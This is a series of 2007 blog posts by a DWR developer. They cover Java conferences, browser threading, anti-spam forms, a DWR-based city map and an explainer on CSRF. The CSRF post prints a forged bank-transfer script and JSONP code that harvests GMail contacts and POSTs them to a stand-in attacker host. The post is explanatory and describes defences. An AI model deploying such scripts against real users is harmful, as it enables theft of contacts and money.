So new year / new budgets. Your conference menu for 2007 looks like this:

JavaOne

JavaOne gets all the big announcements, it gets the biggest range of speakers, and some good swag. On the other hand, it is really impersonal, you are forever queuing, and it's impossible to randomly meet interesting people. It's also very expensive, but I guess that only matters if you are paying.

QCon

I'm excited by QCon because for me it's local. It seems strange that there has been so little conference action in the UK - I'm guessing that London has one of the highest density of Java developers outside of the valley and New York. QCon is a collaboration between InfoQ and Jaoo, so if people love QCon the way they love Jaoo, it will be a great week. Both QCon and Jaoo have a large chunk of non-Java talks, which may be good or bad depending on your perspective.

Javapolis

Javapolis is the second biggest Java event so it does get some good announcements, this year for example they had the release of Java6. Despite it's site, however it's not too impersonal and it's great value for money. For me, the cinema location isn't great; the laid back layout maybe good for getting into a film, but it could be better for learning.

Update: Maybe it's just me - in the comments Stephan says most people love the venue, so the relaxed seating is even more reason to go.

The Ajax Experience

The 2 Ajax Experiences rank amongst my favorite. It's not too commercialized (it's run by the No Fluff and Ajaxian.com) and personally I've found the speakers and the content really interesting. The swag is top notch. Not just a bag and a bunch of CDs and T-shirts, but also good books and a iPod Shuffle for all attendees. They also have a swag givaway, at which you can win bigger prizes. In Boston, The table I was sitting at won 6 nanos because I remembered this blog post. Someone whose name I forget, Howard, Greg, Jan and James (who was on photo duty), were very pleased.

Hey - Ben/Dion - are there going to be any more?

Ajax World

I've never been to an Ajax World, so I can't really comment, but I think there is a good chance that I'll be going to the New York event to speak. It's a lot bigger than the Ajax Experience, and feels more commercialized. It's run by Sys-con.

Jaoo

For a quiet country with only 5 million inhabitants, there it a lot going on in Denmark. I've been to Javagruppen (very small conference) and CMForum (More CMS stuff than Java), but never to Jaoo. It seems expensive, but people seem to like, it and even love it. Like QCon, it caters for more than just Java.

The Server Side Java Symposium

TSSJS in Barcelona was a nice, small event. Very friendly and easy to meet people. If I recall correctly, it used to be called Java in Action. I've never been to the Las Vegas event, but I heard many similar comments about it being friendly.

No Fluff - Just Stuff

The no-fluff guys have a regular series going on - there is something almost every other week, with a fairly regular set of speakers. The conferences are very intimate, not commercial, and have good swag.

OSCON and EuroOSCON

OSCON is big and has some great talks. Dick Hardt's keynote on Identity 2.0 is fairly famous for example. In the past the Java track hasn't been great, however it seems that they recognise this and are putting on a real effort to get it sorted out, so I expect that it will be a lot better this year. They are looking for submissions; you've for until 5 Feb.

ApacheCon

By being mostly specific to Apache projects, ApacheCon is the place to go to hear about projects that don't get to speak at other conferences. I'm not sure you'd get a talk about Apache James anywhere else. I've never been, although I've spoken to people that have and they've enjoyed it. On the downside, the website reminds me of something knocked up in 5 minutes in FrontPage Express.

Others

I've missed out a whole bunch of conferences like EclipseCon, SpringOne, The Spring Experience (it's easy to know if you need these) and JavaZone (Can't find details about 2007 conference) and others.

Which conferences would you recommend?

Responses[8]

Posted by Joe Walker on 25 January 2007 12:02:38 GMT #

It seems to me that there is a problem. The OS/platform of tomorrow is not designed to make good use of the hardware of tomorrow.

The Hardware of Tomorrow

In 2003 the hardware race was about GHz, and the clock wars. AMD and Intel competed on their clock speed, and people checked off clock speed advances against Moore's Law. In 2006 the battle lines began to be re-drawn around cores rather than clocks; Dual Core became the norm for new processors, and the next generations of chips from both AMD and Intel will be steadily increasing the number of cores. Intel and AMD have slightly different strategies, Intel is going for more generalized processing units, AMD (having bought ATI) are choosing to make their processing units more specialized.

So the hardware of tomorrow is going to work best with software that encourages multi-threading. Java's memory model and util.concurrency make it technically strong, and Billy Newport thinks that framework developers will need to alter their APIs to take advantage of the threads. He's probably right, but I suspect that to do a proper job, we're really going to need a language that builds multi-threading in at a lower level, leaving the compiler with the job of creating multiple execution paths. However that's not going to be quick.

Knowing this, Cringley's 2007, prediction #5, is a bit of a no-brainer.

Today, even just dual cores, one core spends a lot of time idle. Anyone spending any time waiting for javac to do it's work will be wishing it did a better job of using more than one processor. The "multi-threaded is hard" problem is one of the things killing the PS3 now. The PS3's cell processors seem to be too advanced for most of the games manufacturers right now.

So if the hardware of tomorrow is going multi-threaded, what about the platform that developers use to write software?

The Platform of Tomorrow

I don't think we are in for any radical changes in platforms in the next few years. We'll continue to have a mix of Windows on the corporate desktop, Linux in the server room, and MacOS for developers, and arty types, and none of them being the primary development platform, which will continue to be the web.

The web is the default place to develop new software these days. If you need raw speed, hardware access, 3D, off-line usage or top-quality OS integration, you'll use something else, but for everything else there's the web.

The problem is that web-browsers are a step backwards as far as multi-threading goes. In Javascript there is no such thing as a new thread, and worse than that, the entire platform (i.e. a browser) runs a single JavaScript thread. If a script in one window goes into a tight loop, or runs some synchronous Ajax then the browser HTML display freezes.

So are the any solutions?

• Adding thread primitives to Javascript might technically possible, but it seems to me to be impractical; the single-threaded assumption is built fairly deeply into many applications.
• It might be possible for browser manufacturers to create a thread per domain. I don't see how this could cause problems, but I'll admit that I have a suspicion that I'm overlooking something. If it does work then it might be possible to allow developers to create new threads by dynamically creating iframes in other domains and having some safe way to communicate between them.
• There is a Javascript pre-compiler called Narrative JavaScript that looks like it might be of some use: it contains a spawn() method to start a new thread of execution. It's written in Javascript so you can deliver the pre-compiler to the browser or deliver the output. However until there is support for something like this at a language level that can exploit newer hardware, it doesn't solve the problem.

The solution that I'd like to see is a language emerging that pushes the job of creating threads to the compiler, that runs on the JVM, and that is available in all browsers. I think I can safely predict that this is not going to happen any time soon though.

So maybe the biggest challenge to Ajax is that compared to desktop applications they are going to look slower and slower as other platforms are quicker to embrace tomorrows hardware.

Responses[7]

Posted by Joe Walker on 23 January 2007 20:48:33 GMT #

There are a few alternatives to Captcha - there is a nice trick that Damien Katz recently blogged about. It's ultimately doomed, because a spammer can easily adapt, but it is neat and it's working for now.

I've been mulling over a couple of ideas with Geert who was thinking of implementing the first for his Paste Bin site.

1. Use unpredictable form field names

When the user clicks on the "add comment" button, a comment form is presented with the usual fields: Name, Email, Website and Comment. The form fields however do not have predictable names. Instead, the fields are generated from some user-derived secret - maybe something stored in the users session. The important thing is that the field names are predictable to the server, but unpredictable to the user.

The server can then easily work out which field values relate to which input field, but the only thing you have to go on as far as HTTP stream goes is visually what labels are next to what fields, and there are plenty of ways to obscure this in HTTP. You can even alter the field ordering at runtime to make life even harder.

In order to submit the spam now, the spamming tool will need to manage cookies, visit a set of pages, and then guess which field names relate to which fields. This could be used in conjunction with fields hidden using CSS to make the guesswork near impossible.

2. Process the form with JavaScript

If the onsubmit process requires some JavaScript computation then the spammer will need to include a JavaScript engine in their toolkit for the post to be accepted. While it's possible that spammers could do this, maybe we can use this to slow them down to the point where it becomes less of a problem.

We dynamically create a short bit of Javascript that asks the posters browser to compute the factorials of some small prime. We can adjust the size of the prime to dictate the length of the required computation. The computation can be happening in the background while the post is being written.

I suspect that this method is slightly flawed because spammers will be using some bot-net to perform the attack, so slowing the submit rate down by 2 or 3 orders of magnitude isn't a big deal, they'll just use bigger bot-nets.

However the annoyance of having to include a Javascript engine in the spamming toolkit could easily stop all but the most persistent spammers.

Responses[5]

Posted by Joe Walker on 18 January 2007 06:45:58 GMT #

I see that the City of New York has taken up using DWR for its city map.

Click for a larger version, or head on over to the site.

The site is designed for IE6 and there are some scrolling issues with Firefox, but I'm sure they will fix those soon.

Like Google Maps, there are the usual scroll/zoom features, but the New York mapping tool adds overlays for looking up zip codes and for landmarks, and allows you to pick which are shown or hidden:

The view is very customizable, here showing a satellite view with a pop-up showing the location of a free Wi-Fi hotspot.

I asked Mario Gouvea about developing the website:

We have been developing 'traditional' web based mapping/GIS applications for about 4 years, those applications rendered the map image on the fly, retrieving all the spatial data needed from the database server and actually creating the jpg/gif images on a map server. On that model map images had to be relatively small in order for the application to scale (support hundreds of concurrent users) and to give the users a relatively good experience (they usually had to wait a couple of seconds for the map to be generated and shown on the browsers).

We decided to develop NYCityMap using Ajax, the first prototype was developed generating the maps on the fly (old model) and using XMLHttpRequest directly, it all worked fine but the code was a nightmare to maintain and the response time for generating a large map was unacceptable. I decided to look for a simpler way of using Ajax and for way to optimize our map generation, that is how I found about DWR, it made developing the application much easier.

I also asked why they'd not chosen to use Google Maps as a base:

We developed the application leveraging several spatial datasets that the City of New York has, including ortho-rectified aerial photographs. (Take a look at downtown Manhattan; you will see the top of the tall buildings. On Google maps they use satellite photographs which show the top of the building along with their side, when you look at the satellite photos from Google on midtown or downtown Manhattan you will see buildings leaning on all directions, on our photos you will see only the rooftop of the buildings which allows us to overlay other layers on top of it).

The main reason we did not use the Google maps API is that we had to leverage several of the spatial datasets we have and also a mainframe system we use for address validation and geocoding and all those datasets and mainframe system use a different coordinate system and map projection than the one used by Google, we simply did not have the time to research a way to convert the XY coordinates returned by the mainframe to the coordinate system used by Google maps, what is more we would have to find a way to re-project all the spatial datasets we have and then generate the image tiles to a format acceptable that could be used with the map API.

Mario Gouvea and his team will be looking into adding functionality using the Google Maps API in the future to get the best possible UI.

Add a comment

Posted by Joe Walker on 17 January 2007 15:38:25 GMT #

After months of planning I'm delighted to announce some cool news - DWR is getting some commercial sponsorship from TIBCO.

In the past year or so I've been dividing my time between various consultancy contracts; some of which have involved DWR, so I've had limited time to work on DWR. I am now able to put much more time into DWR development.

You can find out more about the deal on the TIBCO pages on this site, or see the official press-release.

I think this is great news for everyone. It will help general DWR development, it will help all the TIBCO customers that are using TIBCO General Interface alongside DWR, and it will help us reach enterprise customers that might have overlooked us in the past.

This doesn't mean we are going to branch out into widgets or anything. GI, Dojo, etc. do widgets far better that we ever could. DWR remains about remoting, and we're hoping that this deal will help us extend Reverse Ajax to integrate with things like JBI on the server where ActiveMatrix is strong.

It's also not going to stop us working with Scriptaculous, or integrating with Dojo, in fact it's more likely to allow me to spend more time on those types of integration. TIBCO, Dojo, DWR and others are all members of the OpenAjax Alliance whose mission is to create an eco-system for Ajax applications including the ability to mix and match libraries in solutions.

Update: See also the Ajaxian coverage, InfoQ's interview with me, The Server Side's discussion, and finally the Sys.con page.

Responses[6]

Posted by Joe Walker on 10 January 2007 13:28:41 GMT #

Hot from the oven today are 2 new DWR releases: version 1.1.4 and version 2.0rc2. Download them now.

The release candidate for version 2 contains a decent set of bug fixes including once that several people found annoying - our new CSRF protection confused WebLogic. WebLogic does some fairly funky things with the JSESSIONID security cookie for some reason that I don't understand yet, so reading the value of the cookie using request.getCookie("JSESSIONID") (not the literal code, but close enough) will get you a different result from using request.getRequestedSessionId(). Does anyone know why?

Both 2.0rc2 and 1.1.4 contain 2 security related fixes. It was possible to craft special requests that would evade the <exclude> mechanism for denying access to functions or to perform a large number of requests that could cause an out of memory exception, which could in turn affect other processes.

We got fixes out for both issues less than 24 hours after we found out about them so while I'm not pleased that we needed to fix anything, I think we did a good job in being responsive.

Add a comment

Posted by Joe Walker on 04 January 2007 17:14:41 GMT #

GMail is having a hard time at the moment, the latest problem is a CSRF flaw that allows anyone to read your GMail contacts.

CSRF is commonly mistaken for Cross-Site Scripting (XSS); the article linked to by Digg makes this mistake, but the 2 attacks are not the same.

CSRF is a relatively unknown type of attack on a website, because it can be tricky to pull off. But this obscurity means that far more sites are vulnerable. In addition CSRF has all the potential of XSS so it is a powerful foe.

Aside: Sometimes you'll see references to this as XSRF, (I guess in deference to XSS). I'm using CSRF for 2 reasons. First, is that Wikipedia re-directs XSRF to CSRF, and second that's what Google says people are using. Compare the count on this search for CSRF (about 900k) with this search on XSRF (under 30k).

How it works

Normally an attacker is prevented from forging Cookies using Javascript by the domain rules in a browser. CSRF allows you to evade these rules. This is an example; it could be an HTML email or a web page.

<html>
I've noticed that your bank has done some cool updates,
why don't you login and checkout the funky new features.

<script>
var url = '/transferMoney?amount=1000&dest=eve@evil.com';
setTimeout(30000, "window.open(url)");
</script>
</html>

The example above will obviously need customizing for your bank, but it does demonstrate the core of the problem. Eve asked Alice to log into her bank, and used a simple script to wait while she did that and then script a money transfer by opening a new window, since Alice has logged on, the thief gets to steal money from Alice's account.

There is a problem with the above code: the new window will probably alert Alice to what is going on. It may well be too late by then, but Eve would like longer to cover her tracks. One option is to use XMLHttpRequest to asynchronously fetch the response without displaying it.

Enhancing the Attack

There are a number of tricks you can use to make the attack more pernicious:

• Use XHR, IFrame or Script tags to try the request asynchronously
• Include some logic to try every few seconds waiting for Alice to login
• Script a sequence of requests to mimic the user following a wizard
• Send the page in an HTML email to target known bank users: Phishing without needing to setup a fake site.

According to the Cookie spec, using XHR, IFrame and Script Tags should not work. Cookies should only be sent to the owning-domain, and then only when the parent window is in the same domain. However it's more likely that the cookie spec will be re-written than that browsers will change because a fully conforming browser would break the many systems that make use of this; like most JavaScript widgets and many advertising systems.

Anatomy of the GMail Attack

It's fixed now, but before the fix, if you are logged onto GMail then visiting this page will show you all your GMail contacts. How does it work?

The attack uses script tags, and just assumes that you are logged-on. Since most GMail users are permanently logged on, this isn't a huge problem.

There is a Google URL that returns some script containing your contacts:

http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999

The page used to look something like this:

google ({
  Success: true,
  Errors: [],
  Body: {
    AuthToken: {
      Value: '********'
    },
    Contacts: [
      {
        Id: '***',
        Email: 'users at dwr.dev.java.net',
        Affinity: ***,
        Groups: [
          {
            id: '^Freq',
            value: 'users at dwr.dev.java.net'
          }
        ],
        Addressess: [],
        Phoness: [],
        Imss: []
      },
    // Lots more contacts here
    ]
  }
})

So we're calling a function "google()" and passing it a data structure that includes all your contacts. So all we need to do is to do something with this data. The page I linked-to earlier creates a list from it using code like this:

<script type="text/javascript">
function google(data){
    var emails, i;
    for (i = 0; i < data.Body.Contacts.length; i++) {
        mails += "<li>" + data.Body.Contacts[i].Email + "</li>";
    }
    document.write("<ol>" + emails + "</ol>");
}
</script>

<script type="text/javascript" src="http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999">
</script>

But it would be just as easy to post the list of addresses off to some spam address catcher service:

<script type="text/javascript">
function google(data){
    var body, i;
    for (i = 0; i < data.Body.Contacts.length; i++) {
        body += data.Body.Contacts[i].Email + "\n";
    }
    var xhr = new ActiveXObject("Microsoft.XMLHTTP");
    xhr.open("POST", "http://evilspammerservice.com/catcher");
    xhr.send(body);
}
</script>

In the short term you can protect yourself by logging out when you have read your email.

Lots of discussion of this on Megite, Techmeme, Ajaxian, Engadget.

Update: I see that a similar issue has affected Digg.com too. Also there were notes on how the fix went here that were variously confusing and wrong, I've removed them.

How to Protect Your Server

There are 2 known solutions to CSRF attacks: secret hidden fields and scripted cookies.

Things that wont protect you:

• Switching to POST and denying GET: Forms can be trivially altered with DOM manipulation to forge POST requests.
• Checking the referrer field: the referrer field is open to manipulation and it is sometimes not sent by browsers. So you are left with a choice between allowing no referrer (an attacker can get around this) and denying no referrer (breaks many innocent users).
• JSON: Removing the function call in the GMail example would protect read-only resources since browsers will act on cross-domain rules to keep the reply from you. If the server request changes any server side state then even though the browser can't read the reply, it can still cause the state to change.

Secret Hidden Fields

If all your sensitive URLs contain some secret shipped with the page, then the cross-domain rules in the browser will stop an attacker from discovering the secret, so the server can distinguish between submissions that come from pages supplied by the server (which are safe).

This technique is good for the "Web 1.0" situations which are light on scripting. It is fairly complex to setup because it requires the server to keep a track of the secret, and to manipulate all forms to contain a hidden field.

Double Submit the Cookie

The CSRF attack works by subverting what the browser will do with the cookie.  Ideally, your cookies would be totally unavailable to anyone outside of your domain. This attack works because XMLHttpRequest in some page can use the cookies of some foreign domain when posting to that foreign domain. However the script can not read the cookie directly due to the cross-domain rules, so a slight modification of the hidden field solution is to read the session cookie using JavaScript and then adding to URLs, forms or the body of a POST request, and then checking in the server that the session cookie value that the browser sends in the header (which is subvertable) is the same as the session cookie in the request (this is not subvertable in the same way).

If you are using Ajax or a significant amount of scripting then this solution is a simple fix once solution.

Use a Library

Specifically - use DWR. If you are using DWR version 2 then this CSRF protection comes for free. DWR implements the double cookie submission pattern transparently.

Responses[21]

Posted by Joe Walker on 01 January 2007 19:12:40 GMT #